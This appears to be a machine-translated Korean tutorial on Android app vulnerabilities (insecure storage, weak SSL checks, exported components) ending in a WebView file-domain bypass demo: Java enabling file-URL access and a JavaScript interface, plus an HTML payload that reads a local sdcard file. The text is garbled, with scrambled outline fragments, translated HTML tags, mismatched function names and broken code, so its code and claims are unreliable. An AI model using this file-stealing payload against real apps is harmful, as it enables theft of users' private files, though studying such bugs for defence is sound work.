WebView 파일 도메인 원본 정책 우회 취약점 예시 분석
Android 아키텍처에 대한 기본 지식
커널 커널 계층
취약점은 매우 해롭고 매우 다양합니다.
드라이버의 수가 많고 복잡하기 때문에 허점이 많을 수도 있습니다-
라이브러리 시스템 런타임 라이브러리 계층
시스템 미들웨어 형태로 제공되는 런타임 라이브러리는
libc, WebKit, SQLite 등을 포함합니다.AndroidRunTime
Dalvik 가상 머신 및 커널 라이브러리-
FrameWork 애플리케이션 프레임워크 레이어
앱 레이어
시리즈 제공 서비스 및 API 인터페이스 - 시스템 애플리케이션 홈 화면 홈, 연락처, 전화, 브라우저
- 기타 애플리케이션
- 애플리케이션 프레임워크 레이어의 API를 사용하여 개발자가 구현한 프로그램
Andoroid 공통 구성요소
활동 활동
- BroadcastRecviver 방송 수신기
ContentProvider 콘텐츠 공급자
Android 앱 공통 취약점(OWASP) 모바일 Top 10) 플랫폼의 부적절한 사용
플랫폼 기능 남용 또는 실패 플랫폼의 보안 제어를 사용하는 능력. 의도 오용, 권한 오용 등
-
위험
은 매우 광범위하며 모바일 플랫폼의 다양한 서비스와 관련될 수 있습니다. - 예를 들어 iOS 시스템에서는 비밀번호 데이터가 로컬 파일에 저장됩니다. 결과적으로, 의사 암호화된 백업 데이터에서 읽을 수 있습니다.
- Android 시스템에서 Intent를 부적절하게 사용하면 악의적인 사용자가 Intent의 콘텐츠를 가로채서 수정하고 임의의 작업을 수행하게 됩니다. 원래 프로세스의 ID 권한
- 안전하지 않은 데이터 저장소
- 일반적인 취약점 및 마이닝 방법 데이터 저장소 취약점
-
- 텍스트 저장 공간 지우기
-
생성 구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않습니다.
- 구성 파일 생성 시 MODE_PRIVATE 모드를 사용하지 않아 다른 프로그램에서 읽게 됩니다. 구성 파일
- 일반 텍스트로 저장되고 루트 사용자가 읽을 수 있으므로 민감한 데이터가 유출됩니다
-
SharedPreferences data/data/package name/shared_prefs/*.xml - SQLiteDatabases
데이터/데이터 패키지 이름/데이터베이스/*.db
-
내부 저장소 데이터/데이터/프로그램 등록/파일/* -
/mnt/sdcard/*
외부 저장소 -
탐지 방법 -
/data/data/패키지명 디렉터리에 있는 다양한 파일과 디렉터리를 탐색하여 다른 사용자가 읽을 수 있는 파일이 있는지 확인하세요. -
민감한 일반 텍스트 정보가 있는지 확인하세요. 구성 파일, 데이터베이스 등
마이닝 방법 - HTTP와 같은 일반 텍스트 프로토콜을 사용하여 민감한 정보를 서버에 전송
- 데이터 통신 취약점
- .method 및 종료 메소드 찾기
-
마찬가지로 verify(String, SSLSession)의 반환 값이 항상 True인지 확인하고 X509HostnameVerifier의 매개 변수가 ALLOW_ALLHOSTNAME_VERIFIER
- Fiddler의 HTTPS 구문 분석 기능을 활성화하고 Sign the에서 생성하고 내보냅니다. 인증서를 설치하고 전화기에 설치하세요
Fiddler 프록시를 활성화하고 원격 호스트가 프록시에 연결되도록 허용 -
APP에서 SSL 인증서 확인 부족
클라이언트는 X509TruestManager 클래스를 구현해야 합니다. checkServerTrustedcheckClientTrustedgetInstance 세 가지 방법을 포함하여 - 인증서 확인 실패로 인해 예외가 발생하고 애플리케이션이 인증서 확인 예외를 처리합니다
- 서버 인증서 확인에 실패하면 TLS 중간자 공격이 발생합니다 HttpsURLConnection을 사용할 때 호스트 이름을 확인할 때 사용자 지정 HostnameVerifier가 구현되지 않습니다. 기본적으로 인증서 도메인 이름이 사이트 이름과 일치하는지 확인하지 않습니다. 또는 HttpsURLConnection의 HostnameVerifier를 설정할 때 모든 도메인 이름을 허용하도록 ALLOW_ALL_HOSTNAME_VERIIER로 설정하세요.
-
공격 방법 - 마이닝 방법
SSL 인증서 강력한 확인
X를 통과할 수 있습니다. p, 패치 등 . 우회 방법Android:exported는 네 가지 주요 구성 요소에 공통된 속성으로, 다른 애플리케이션이 현재 구성 요소를 호출할 수 있는지 여부를 나타내는 데 사용됩니다.
인텐트 필터가 있는 경우 기본값 값은 true, 그렇지 않으면 기본값은 false
내보낸 내보낸 구성요소의 권한 제어
인증 우회
액티비티가 노출된 후 제3자에 의해 호출되며, 로그인이 가능합니다. /reset the 비밀번호 없이 비밀번호를
민감한 정보 유출
recviver는 노출된 후 제3자에 의해 실행되었으며 디버깅 및 기타 정보에 포함된 민감한 정보가 열람될 수 있습니다
-
권한 초과
낮은 권한 프로그램 높은 권한 프로그램에 의해 노출된 구성 요소를 호출하여 높은 권한 작업 실행
-
마이닝 방법
-
Android 매니페스트 보기
Weak 암호화 취약점 -
경쟁, 루트보기 등을 얻을 수 있습니다. 세 가지 유형의 취약점이 포함됩니다:
Password Hardcoding -
객체를 순회하는 웹페이지 작성 getClass 메소드가 있는 경우 원격 코드 실행 취약점이 있습니다
fiddler의 사전 스크립트는 모든 것을 허용할 수 있습니다. webview를 통해 모든 웹페이지에 액세스할 수 있습니다.- 도메인 관리가 엄격하지 않습니다
setAllowFileAccesssetAllowFileAccessFromFileURLs
setAllowUniversalAccessFromFileURLs(원격 민감한 정보 공개)
로컬 파일은 심볼릭 링크 공격을 통해 액세스할 수 있습니다. 아무리 제한되어 있어도 js는 이 파일에 액세스할 수 있습니다. 실행을 지연하고 현재 파일을 다른 파일을 가리키는 소프트 링크로 바꾸면 심볼릭 링크가 가리키는 파일을 읽을 수 있습니다-
WebView가 JavaScript 지원을 켜고 파일을 실행하지 않는 경우:/ //제한 사항 켜기 쿠키, 개인 파일, 데이터베이스 및 기타 민감한 정보 형태의 URL이 유출됩니다 - 비밀번호는 일반 텍스트로 저장됩니다.
사용자가 WebViEW에 입력한 사용자 이름과 비밀번호를 저장하도록 선택하면 저장됩니다. 일반 텍스트로 앱 디렉토리의 data.db에 저장
루트 권한이 있는 공격자가 읽을 수 있음 - 취약점 마이닝 프로세스 요약
-
정적 분석 빠른 탐지, 핵심 분석 대상 확보
AndroidManifest 파일 확인
스크립트 분석 Smali 코드-
디버그 모드 분석 -
작동/취약점 검증을 시도해보세요
-
drozer
-
-
-
자동 지원 시스템
MobSF에는 프런트엔드 웹 인터페이스가 포함되어 있고,
Inspeckage Xposed 플러그인- 오늘은 WebView 취약점에 대해 이야기하세요
순수 텍스트 보기 코드 복사 ? - 샘플 코드 주소: https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo. 또는 내 github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1
아래 코드의 주요 차이점은 이번에 로드된 Attack_file.html입니다
public 클래스 MainActivity는 Activity를 확장합니다 { -
개인 WebView webView;
개인 문자열 url;
구성 요소 노출 취약성
임의 코드 실행
Android 4.2 이상을 테스트한 후 addJavascriptInterface라는 주석이 달린 메서드를 웹페이지의 java 메서드로 호출할 수 있습니다. 필터링하지 않으면 허점이 있을 수 있습니다
- 파기 방법:
동적 분석
의심되는 위험 검증 및 위험 평가- 로직 및 코드의 암호화 크래킹 및 추가 분석
- Marvin에는 프런트엔드 웹 인터페이스가 포함되어 배포가 번거롭습니다
//문자열 mUrl2 = android_asset/html/test.html";
@Override
protected void onCreate(Bundle saveInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView 뷰, 문자열 URL, 문자열 메시지, JsResult 결과) {
//여기에 필수 기능
return super.onJsAlert(view, URL, 메시지, 결과);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text; > .e("leehong2", "onButtonClick: text = " + str);
Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return "이 텍스트는 Java 레이어에서 반환됩니다. js text = " + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str); > ast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。
我们再来看attack_file.html的代码:'
<몸>
<스크립트>
function SteelFile()
{
var file = "file:///mnt/sdcard/233.txt";
var xmlHttpReq = new XMLHttpRequest();
xmlHttpReq.onreadystatechange = function(){
if(xmlHttpReq.readyState == 4){
Alert(xmlHttpReq.responseText);
}
}
xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();